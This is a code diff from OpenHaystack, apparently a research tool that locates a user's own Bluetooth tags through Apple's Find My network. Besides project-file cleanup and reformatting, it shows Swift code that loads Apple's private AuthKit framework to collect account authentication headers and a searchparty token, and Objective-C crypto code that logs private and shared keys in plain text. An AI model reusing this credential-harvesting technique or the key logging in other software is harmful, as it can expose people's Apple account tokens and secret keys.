||||
target = 781EB3E425DAD7EA00FEAA19 /* OpenHaystack */;
|
||||
targetProxy = 78EC226625DAE0BE0042B775 /* PBXContainerItemProxy */;
|
||||
};
|
||||
78F7253C25ED02350039C718 /* PBXTargetDependency */ = {
|
||||
isa = PBXTargetDependency;
|
||||
target = 78108B6B248E8FB50007E9C4 /* OFFetchReports */;
|
||||
targetProxy = 78F7253B25ED02350039C718 /* PBXContainerItemProxy */;
|
||||
};
|
||||
/* End PBXTargetDependency section */
|
||||
|
||||
/* Begin PBXVariantGroup section */
|
||||
78108B78248E8FB80007E9C4 /* Main.storyboard */ = {
|
||||
isa = PBXVariantGroup;
|
||||
children = (
|
||||
78108B79248E8FB80007E9C4 /* Base */,
|
||||
);
|
||||
name = Main.storyboard;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXVariantGroup section */
|
||||
|
||||
/* Begin XCBuildConfiguration section */
|
||||
78108B7D248E8FB80007E9C4 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
@@ -899,76 +744,11 @@
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
78108B80248E8FB80007E9C4 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "";
|
||||
CODE_SIGN_IDENTITY = "-";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"OpenHaystack/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
ENABLE_HARDENED_RUNTIME = NO;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
INFOPLIST_FILE = OpenHaystack/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 11.0;
|
||||
OTHER_CFLAGS = "-DAUTHKIT";
|
||||
OTHER_SWIFT_FLAGS = "-DAUTHKIT";
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OfflineFinder";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "OpenHaystack-Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
SYSTEM_FRAMEWORK_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks",
|
||||
);
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
78108B81248E8FB80007E9C4 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "";
|
||||
CODE_SIGN_IDENTITY = "-";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
DEVELOPMENT_ASSET_PATHS = "\"OpenHaystack/Preview Content\"";
|
||||
DEVELOPMENT_TEAM = "";
|
||||
ENABLE_HARDENED_RUNTIME = NO;
|
||||
ENABLE_PREVIEWS = YES;
|
||||
INFOPLIST_FILE = OpenHaystack/Info.plist;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 11.0;
|
||||
OTHER_CFLAGS = "-DAUTHKIT";
|
||||
OTHER_SWIFT_FLAGS = "-DAUTHKIT";
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OfflineFinder";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
SWIFT_OBJC_BRIDGING_HEADER = "OpenHaystack-Bridging-Header.h";
|
||||
SWIFT_VERSION = 5.0;
|
||||
SYSTEM_FRAMEWORK_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"$(SYSTEM_LIBRARY_DIR)/PrivateFrameworks",
|
||||
);
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
781EB40625DAD7EA00FEAA19 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "";
|
||||
CODE_SIGN_IDENTITY = "-";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
@@ -983,11 +763,6 @@
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 11.0;
|
||||
OTHER_CFLAGS = (
|
||||
"-DACCESSORY",
|
||||
"-DAUTHKIT",
|
||||
);
|
||||
OTHER_SWIFT_FLAGS = "-DACCESSORY";
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OpenHaystack";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
@@ -1001,7 +776,6 @@
|
||||
buildSettings = {
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
CLANG_ENABLE_MODULES = YES;
|
||||
CODE_SIGN_ENTITLEMENTS = "";
|
||||
CODE_SIGN_IDENTITY = "-";
|
||||
CODE_SIGN_STYLE = Manual;
|
||||
COMBINE_HIDPI_IMAGES = YES;
|
||||
@@ -1016,11 +790,6 @@
|
||||
"@executable_path/../Frameworks",
|
||||
);
|
||||
MACOSX_DEPLOYMENT_TARGET = 11.0;
|
||||
OTHER_CFLAGS = (
|
||||
"-DACCESSORY",
|
||||
"-DAUTHKIT",
|
||||
);
|
||||
OTHER_SWIFT_FLAGS = "-DACCESSORY";
|
||||
PRODUCT_BUNDLE_IDENTIFIER = "de.tu-darmstadt.seemoo.OpenHaystack";
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
PROVISIONING_PROFILE_SPECIFIER = "";
|
||||
@@ -1111,24 +880,6 @@
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
78F7253425ED02300039C718 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEVELOPMENT_TEAM = H9XHQ4WHSF;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
78F7253525ED02300039C718 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
DEVELOPMENT_TEAM = H9XHQ4WHSF;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
@@ -1141,15 +892,6 @@
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
78108B7F248E8FB80007E9C4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
78108B80248E8FB80007E9C4 /* Debug */,
|
||||
78108B81248E8FB80007E9C4 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
781EB40525DAD7EA00FEAA19 /* Build configuration list for PBXNativeTarget "OpenHaystack" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
@@ -1177,15 +919,6 @@
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
78F7253625ED02300039C718 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
78F7253425ED02300039C718 /* Debug */,
|
||||
78F7253525ED02300039C718 /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
|
||||
/* Begin XCRemoteSwiftPackageReference section */
|
||||
@@ -1216,11 +949,6 @@
|
||||
/* End XCRemoteSwiftPackageReference section */
|
||||
|
||||
/* Begin XCSwiftPackageProductDependency section */
|
||||
0211DBC02491203100ABB066 /* Crypto */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 0211DBBF2491203100ABB066 /* XCRemoteSwiftPackageReference "swift-crypto" */;
|
||||
productName = Crypto;
|
||||
};
|
||||
781EB3E725DAD7EA00FEAA19 /* Crypto */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = 781EB3E825DAD7EA00FEAA19 /* XCRemoteSwiftPackageReference "swift-crypto" */;
|
||||
@@ -1231,11 +959,6 @@
|
||||
package = F16BA9E725E7DB2D00238183 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
|
||||
productName = NIOSSL;
|
||||
};
|
||||
F16BAA0C25E7DCFC00238183 /* NIOSSL */ = {
|
||||
isa = XCSwiftPackageProductDependency;
|
||||
package = F16BA9E725E7DB2D00238183 /* XCRemoteSwiftPackageReference "swift-nio-ssl" */;
|
||||
productName = NIOSSL;
|
||||
};
|
||||
/* End XCSwiftPackageProductDependency section */
|
||||
};
|
||||
rootObject = 78108B64248E8FB50007E9C4 /* Project object */;
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>FILEHEADER</key>
|
||||
<string>
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//</string>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -1,28 +1,31 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import OSLog
|
||||
|
||||
/// Uses the AltStore Mail plugin to access recent anisette data
|
||||
/// Uses the AltStore Mail plugin to access recent anisette data.
|
||||
public class AnisetteDataManager: NSObject {
|
||||
@objc static let shared = AnisetteDataManager()
|
||||
private var anisetteDataCompletionHandlers: [String: (Result<AppleAccountData, Error>) -> Void] = [:]
|
||||
private var anisetteDataTimers: [String: Timer] = [:]
|
||||
|
||||
private override init() {
|
||||
super.init()
|
||||
super.init()
|
||||
|
||||
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW)
|
||||
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW)
|
||||
|
||||
DistributedNotificationCenter.default()
|
||||
.addObserver(self, selector: #selector(AnisetteDataManager.handleAppleDataResponse(_:)),
|
||||
name: Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.AnisetteDataResponse"), object: nil)
|
||||
}
|
||||
DistributedNotificationCenter.default()
|
||||
.addObserver(
|
||||
self, selector: #selector(AnisetteDataManager.handleAppleDataResponse(_:)),
|
||||
name: Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.AnisetteDataResponse"), object: nil)
|
||||
}
|
||||
|
||||
func requestAnisetteData(_ completion: @escaping (Result<AppleAccountData, Error>) -> Void) {
|
||||
if let accountData = self.requestAnisetteDataAuthKit() {
|
||||
@@ -31,19 +34,20 @@ public class AnisetteDataManager: NSObject {
|
||||
return
|
||||
}
|
||||
|
||||
let requestUUID = UUID().uuidString
|
||||
self.anisetteDataCompletionHandlers[requestUUID] = completion
|
||||
let requestUUID = UUID().uuidString
|
||||
self.anisetteDataCompletionHandlers[requestUUID] = completion
|
||||
|
||||
let timer = Timer(timeInterval: 1.0, repeats: false) { (_) in
|
||||
self.finishRequest(forUUID: requestUUID, result: .failure(AnisetteDataError.pluginNotFound))
|
||||
}
|
||||
self.anisetteDataTimers[requestUUID] = timer
|
||||
let timer = Timer(timeInterval: 1.0, repeats: false) { (_) in
|
||||
self.finishRequest(forUUID: requestUUID, result: .failure(AnisetteDataError.pluginNotFound))
|
||||
}
|
||||
self.anisetteDataTimers[requestUUID] = timer
|
||||
|
||||
RunLoop.main.add(timer, forMode: .default)
|
||||
RunLoop.main.add(timer, forMode: .default)
|
||||
|
||||
DistributedNotificationCenter.default()
|
||||
.postNotificationName(Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.FetchAnisetteData"),
|
||||
object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
|
||||
DistributedNotificationCenter.default()
|
||||
.postNotificationName(
|
||||
Notification.Name("de.tu-darmstadt.seemoo.OpenHaystack.FetchAnisetteData"),
|
||||
object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
|
||||
}
|
||||
|
||||
func requestAnisetteDataAuthKit() -> AppleAccountData? {
|
||||
@@ -52,27 +56,28 @@ public class AnisetteDataManager: NSObject {
|
||||
let dateFormatter = ISO8601DateFormatter()
|
||||
|
||||
guard let machineID = anisetteData["X-Apple-I-MD-M"] as? String,
|
||||
let otp = anisetteData["X-Apple-I-MD"] as? String,
|
||||
let localUserId = anisetteData["X-Apple-I-MD-LU"] as? String,
|
||||
let dateString = anisetteData["X-Apple-I-Client-Time"] as? String,
|
||||
let date = dateFormatter.date(from: dateString),
|
||||
let deviceClass = NSClassFromString("AKDevice")
|
||||
let otp = anisetteData["X-Apple-I-MD"] as? String,
|
||||
let localUserId = anisetteData["X-Apple-I-MD-LU"] as? String,
|
||||
let dateString = anisetteData["X-Apple-I-Client-Time"] as? String,
|
||||
let date = dateFormatter.date(from: dateString),
|
||||
let deviceClass = NSClassFromString("AKDevice")
|
||||
else {
|
||||
return nil
|
||||
}
|
||||
let device: AKDevice = deviceClass.current()
|
||||
|
||||
let routingInfo = (anisetteData["X-Apple-I-MD-RINFO"] as? NSNumber)?.uint64Value ?? 0
|
||||
let accountData = AppleAccountData(machineID: machineID,
|
||||
oneTimePassword: otp,
|
||||
localUserID: localUserId,
|
||||
routingInfo: routingInfo,
|
||||
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
|
||||
deviceSerialNumber: device.serialNumber(),
|
||||
deviceDescription: device.serverFriendlyDescription(),
|
||||
date: date,
|
||||
locale: Locale.current,
|
||||
timeZone: TimeZone.current)
|
||||
let accountData = AppleAccountData(
|
||||
machineID: machineID,
|
||||
oneTimePassword: otp,
|
||||
localUserID: localUserId,
|
||||
routingInfo: routingInfo,
|
||||
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
|
||||
deviceSerialNumber: device.serialNumber(),
|
||||
deviceDescription: device.serverFriendlyDescription(),
|
||||
date: date,
|
||||
locale: Locale.current,
|
||||
timeZone: TimeZone.current)
|
||||
|
||||
if let spToken = ReportsFetcher().fetchSearchpartyToken() {
|
||||
accountData.searchPartyToken = spToken
|
||||
@@ -88,25 +93,25 @@ public class AnisetteDataManager: NSObject {
|
||||
completion(nil)
|
||||
case .success(let data):
|
||||
// Return only the headers
|
||||
completion([
|
||||
"X-Apple-I-MD-M": data.machineID,
|
||||
"X-Apple-I-MD": data.oneTimePassword,
|
||||
"X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
|
||||
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
|
||||
"X-Apple-I-MD-RINFO": String(data.routingInfo)
|
||||
completion(
|
||||
[
|
||||
"X-Apple-I-MD-M": data.machineID,
|
||||
"X-Apple-I-MD": data.oneTimePassword,
|
||||
"X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
|
||||
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
|
||||
"X-Apple-I-MD-RINFO": String(data.routingInfo),
|
||||
] as [AnyHashable: Any])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private extension AnisetteDataManager {
|
||||
extension AnisetteDataManager {
|
||||
|
||||
@objc func handleAppleDataResponse(_ notification: Notification) {
|
||||
@objc fileprivate func handleAppleDataResponse(_ notification: Notification) {
|
||||
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
|
||||
|
||||
if
|
||||
let archivedAnisetteData = userInfo["anisetteData"] as? Data,
|
||||
if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
|
||||
let appleAccountData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: AppleAccountData.self, from: archivedAnisetteData)
|
||||
{
|
||||
if let range = appleAccountData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
|
||||
@@ -122,11 +127,10 @@ private extension AnisetteDataManager {
|
||||
}
|
||||
}
|
||||
|
||||
@objc func handleAnisetteDataResponse(_ notification: Notification) {
|
||||
@objc fileprivate func handleAnisetteDataResponse(_ notification: Notification) {
|
||||
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
|
||||
|
||||
if
|
||||
let archivedAnisetteData = userInfo["anisetteData"] as? Data,
|
||||
if let archivedAnisetteData = userInfo["anisetteData"] as? Data,
|
||||
let anisetteData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: ALTAnisetteData.self, from: archivedAnisetteData)
|
||||
{
|
||||
if let range = anisetteData.deviceDescription.lowercased().range(of: "(com.apple.mail") {
|
||||
@@ -143,7 +147,7 @@ private extension AnisetteDataManager {
|
||||
}
|
||||
}
|
||||
|
||||
func finishRequest(forUUID requestUUID: String, result: Result<AppleAccountData, Error>) {
|
||||
fileprivate func finishRequest(forUUID requestUUID: String, result: Result<AppleAccountData, Error>) {
|
||||
let completionHandler = self.anisetteDataCompletionHandlers[requestUUID]
|
||||
self.anisetteDataCompletionHandlers[requestUUID] = nil
|
||||
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "extended-gray",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.850"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.100"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "extended-gray",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.780"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "gray-gamma-22",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"white" : "0.200"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0.000",
|
||||
"green" : "0.000",
|
||||
"red" : "0.000"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
},
|
||||
{
|
||||
"appearances" : [
|
||||
{
|
||||
"appearance" : "luminosity",
|
||||
"value" : "dark"
|
||||
}
|
||||
],
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "1.000",
|
||||
"green" : "1.000",
|
||||
"red" : "1.000"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@@ -11,16 +13,16 @@ NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface BoringSSL : NSObject
|
||||
|
||||
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint;
|
||||
+ (NSData *_Nullable)deriveSharedKeyFromPrivateKey:(NSData *)privateKey andEphemeralKey:(NSData *)ephemeralKeyPoint;
|
||||
|
||||
/// Derive a public key from a given private key
|
||||
/// @param privateKeyData an EC private key on the P-224 curve
|
||||
/// @returns The public key in a compressed format using 29 bytes. The first byte is used for identifying if its odd or even.
|
||||
/// For OF the first byte has to be dropped
|
||||
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData;
|
||||
/// For OF the first byte has to be dropped
|
||||
+ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData;
|
||||
|
||||
/// Generate a new EC private key and exports it as data
|
||||
+ (NSData * _Nullable) generateNewPrivateKey;
|
||||
+ (NSData *_Nullable)generateNewPrivateKey;
|
||||
|
||||
@end
|
||||
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "BoringSSL.h"
|
||||
|
||||
@@ -16,75 +18,80 @@
|
||||
|
||||
@implementation BoringSSL
|
||||
|
||||
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint {
|
||||
|
||||
+ (NSData *_Nullable)deriveSharedKeyFromPrivateKey:(NSData *)privateKey andEphemeralKey:(NSData *)ephemeralKeyPoint {
|
||||
|
||||
NSLog(@"Private key %@", [privateKey base64EncodedStringWithOptions:0]);
|
||||
NSLog(@"Ephemeral key %@", [ephemeralKeyPoint base64EncodedStringWithOptions:0]);
|
||||
|
||||
|
||||
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
|
||||
|
||||
|
||||
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKey group:curve];
|
||||
|
||||
|
||||
const EC_POINT *genPubKey = EC_KEY_get0_public_key(key);
|
||||
[self printPoint:genPubKey withGroup:curve];
|
||||
|
||||
|
||||
EC_POINT *publicKey = EC_POINT_new(curve);
|
||||
size_t load_success = EC_POINT_oct2point(curve, publicKey, ephemeralKeyPoint.bytes, ephemeralKeyPoint.length, NULL);
|
||||
if (load_success == 0) {
|
||||
NSLog(@"Failed loading public key!");
|
||||
return nil;
|
||||
return nil;
|
||||
}
|
||||
|
||||
|
||||
NSMutableData *sharedKey = [[NSMutableData alloc] initWithLength:28];
|
||||
|
||||
|
||||
int res = ECDH_compute_key(sharedKey.mutableBytes, sharedKey.length, publicKey, key, nil);
|
||||
|
||||
|
||||
if (res < 1) {
|
||||
NSLog(@"Failed with error: %d", res);
|
||||
BIO *bio = BIO_new(BIO_s_mem());
|
||||
ERR_print_errors(bio);
|
||||
char *buf;
|
||||
BIO_get_mem_data(bio, &buf);
|
||||
NSLog(@"Generating shared key failed %s", buf);
|
||||
free(buf);
|
||||
BIO_free(bio);
|
||||
}
|
||||
|
||||
|
||||
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
|
||||
|
||||
|
||||
return sharedKey;
|
||||
}
|
||||
|
||||
+ (EC_POINT * _Nullable) loadEllipticCurvePublicBytesWith: (EC_GROUP *) group andPointBytes: (NSData *) pointBytes {
|
||||
|
||||
EC_POINT* point = EC_POINT_new(group);
|
||||
|
||||
//Create big number context
|
||||
+ (EC_POINT *_Nullable)loadEllipticCurvePublicBytesWith:(EC_GROUP *)group andPointBytes:(NSData *)pointBytes {
|
||||
|
||||
EC_POINT *point = EC_POINT_new(group);
|
||||
|
||||
// Create big number context
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
|
||||
//Public key will be stored in point
|
||||
|
||||
// Public key will be stored in point
|
||||
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
|
||||
[self printPoint:point withGroup:group];
|
||||
|
||||
//Free the big numbers
|
||||
|
||||
// Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
|
||||
if (res != 1) {
|
||||
//Failed
|
||||
// Failed
|
||||
return nil;
|
||||
}
|
||||
|
||||
|
||||
return point;
|
||||
}
|
||||
|
||||
|
||||
/// Get the private key on the curve from the private key bytes
|
||||
/// @param privateKeyData NSData representing the private key
|
||||
/// @param group The EC group representing the curve to use
|
||||
+ (EC_KEY * _Nullable) deriveEllipticCurvePrivateKey: (NSData *)privateKeyData group: (EC_GROUP *) group {
|
||||
+ (EC_KEY *_Nullable)deriveEllipticCurvePrivateKey:(NSData *)privateKeyData group:(EC_GROUP *)group {
|
||||
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
|
||||
EC_POINT *point = EC_POINT_new(group);
|
||||
|
||||
|
||||
BN_CTX *ctx = BN_CTX_new();
|
||||
BN_CTX_start(ctx);
|
||||
|
||||
|
||||
|
||||
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||
|
||||
|
||||
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
|
||||
if (res != 1) {
|
||||
NSLog(@"Failed");
|
||||
@@ -96,71 +103,68 @@
|
||||
NSLog(@"Failed");
|
||||
return nil;
|
||||
}
|
||||
|
||||
|
||||
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
|
||||
EC_KEY_set_private_key(key, privateKeyNum);
|
||||
|
||||
|
||||
//Free the big numbers
|
||||
|
||||
// Free the big numbers
|
||||
BN_CTX_free(ctx);
|
||||
|
||||
|
||||
return key;
|
||||
}
|
||||
|
||||
|
||||
/// Derive a public key from a given private key
|
||||
/// @param privateKeyData an EC private key on the P-224 curve
|
||||
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData {
|
||||
+ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData {
|
||||
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
|
||||
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
|
||||
|
||||
|
||||
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
|
||||
|
||||
|
||||
size_t keySize = 28 + 1;
|
||||
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
|
||||
|
||||
|
||||
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
|
||||
|
||||
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
|
||||
return publicKeyBytes;
|
||||
}
|
||||
|
||||
+ (NSData * _Nullable)generateNewPrivateKey {
|
||||
+ (NSData *_Nullable)generateNewPrivateKey {
|
||||
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
|
||||
if (EC_KEY_generate_key_fips(key) == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
|
||||
const BIGNUM *privateKey = EC_KEY_get0_private_key(key);
|
||||
size_t keySize = BN_num_bytes(privateKey);
|
||||
//Convert to bytes
|
||||
// Convert to bytes
|
||||
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
|
||||
|
||||
|
||||
|
||||
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
|
||||
|
||||
|
||||
if (size == 0) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
|
||||
return privateKeyBytes;
|
||||
}
|
||||
|
||||
+ (void) printPoint: (const EC_POINT *)point withGroup:(EC_GROUP *)group {
|
||||
